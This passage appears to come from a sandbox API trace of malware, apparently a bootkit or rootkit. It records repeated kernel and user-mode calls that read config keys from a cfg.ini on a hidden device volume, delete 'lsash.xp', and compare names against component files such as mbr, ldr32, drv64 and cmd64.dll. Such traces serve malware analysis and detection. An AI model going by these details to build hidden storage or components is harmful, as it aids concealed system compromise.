NumberOfBytes=0x50) returned 0xfffffa8003ac9860 [0128.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.373] KeLeaveCriticalRegion () [0128.373] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.373] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.373] KeEnterCriticalRegion () [0128.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.373] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.373] KeLeaveCriticalRegion () [0128.373] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.373] KeEnterCriticalRegion () [0128.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.374] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.374] IdePortDispatch () returned 0x103 [0128.374] KeWaitForMutexObject () returned 0x0 [0128.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.374] KeLeaveCriticalRegion () [0128.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.374] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.374] KeEnterCriticalRegion () [0128.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.374] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b2000 [0128.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.374] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.374] IdePortDispatch () returned 0x103 [0128.374] KeWaitForMutexObject () returned 0x0 [0128.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.375] IdePortDispatch () returned 0x103 [0128.375] KeWaitForMutexObject () returned 0x0 [0128.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.375] KeLeaveCriticalRegion () [0128.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.376] KeEnterCriticalRegion () [0128.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] KeLeaveCriticalRegion () [0128.376] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.376] KeEnterCriticalRegion () [0128.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.376] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] KeLeaveCriticalRegion () [0128.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.376] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.376] KeEnterCriticalRegion () [0128.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] ExFreePoolWithTag (P=0xfffffa8003ac9860, Tag=0x0) [0128.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] KeLeaveCriticalRegion () [0128.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.376] ReleaseMutex (hMutex=0xf0) returned 1 [0128.376] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.376] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.376] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.376] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.376] KeEnterCriticalRegion () [0128.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.377] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.377] IdePortDispatch () returned 0x103 [0128.377] KeWaitForMutexObject () returned 0x0 [0128.377] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.377] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.377] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.377] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.377] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.377] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.377] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.377] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.377] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.377] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.377] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.377] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.377] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.377] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.377] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.377] KeLeaveCriticalRegion () [0128.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.377] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.377] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.377] KeEnterCriticalRegion () [0128.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.378] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.378] IdePortDispatch () returned 0x103 [0128.378] KeWaitForMutexObject () returned 0x0 [0128.378] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.378] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.378] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.378] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.378] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.378] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.378] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.378] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.378] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.378] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.378] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.378] KeLeaveCriticalRegion () [0128.378] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.379] ReleaseMutex (hMutex=0x100) returned 1 [0128.379] Sleep (dwMilliseconds=0x2bf20) [0128.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fb88c10, dwHighDateTime=0x1d24fa4)) [0128.387] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.387] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.387] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.387] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.387] KeEnterCriticalRegion () [0128.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.387] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.387] IdePortDispatch () returned 0x103 [0128.388] KeWaitForMutexObject () returned 0x0 [0128.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.388] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.388] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.388] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.388] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.388] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9a00 [0128.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.388] KeLeaveCriticalRegion () [0128.388] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.388] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.388] KeEnterCriticalRegion () [0128.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.388] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.388] KeLeaveCriticalRegion () [0128.388] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.388] KeEnterCriticalRegion () [0128.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.388] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.388] IdePortDispatch () returned 0x103 [0128.388] KeWaitForMutexObject () returned 0x0 [0128.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.389] KeLeaveCriticalRegion () [0128.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.389] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.389] KeEnterCriticalRegion () [0128.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b5000 [0128.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.389] IdePortDispatch () returned 0x103 [0128.389] KeWaitForMutexObject () returned 0x0 [0128.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.389] IdePortDispatch () returned 0x103 [0128.389] KeWaitForMutexObject () returned 0x0 [0128.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.389] KeLeaveCriticalRegion () [0128.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.390] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.390] KeEnterCriticalRegion () [0128.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] KeLeaveCriticalRegion () [0128.390] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.390] KeEnterCriticalRegion () [0128.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.390] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] KeLeaveCriticalRegion () [0128.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.390] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.390] KeEnterCriticalRegion () [0128.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] ExFreePoolWithTag (P=0xfffffa8003ac9a00, Tag=0x0) [0128.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] KeLeaveCriticalRegion () [0128.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.390] ReleaseMutex (hMutex=0xf0) returned 1 [0128.390] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.390] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.390] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.390] KeEnterCriticalRegion () [0128.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.390] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.390] IdePortDispatch () returned 0x103 [0128.391] KeWaitForMutexObject () returned 0x0 [0128.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.391] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.391] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.391] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.391] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.391] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca70 [0128.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.391] KeLeaveCriticalRegion () [0128.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.391] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.391] KeEnterCriticalRegion () [0128.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.391] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.391] KeLeaveCriticalRegion () [0128.391] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.391] KeEnterCriticalRegion () [0128.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.391] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.391] IdePortDispatch () returned 0x103 [0128.391] KeWaitForMutexObject () returned 0x0 [0128.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.392] KeLeaveCriticalRegion () [0128.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.392] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.392] KeEnterCriticalRegion () [0128.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b6000 [0128.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.392] IdePortDispatch () returned 0x103 [0128.392] KeWaitForMutexObject () returned 0x0 [0128.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.392] IdePortDispatch () returned 0x103 [0128.392] KeWaitForMutexObject () returned 0x0 [0128.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.392] KeLeaveCriticalRegion () [0128.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.393] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.393] KeEnterCriticalRegion () [0128.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] KeLeaveCriticalRegion () [0128.393] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | 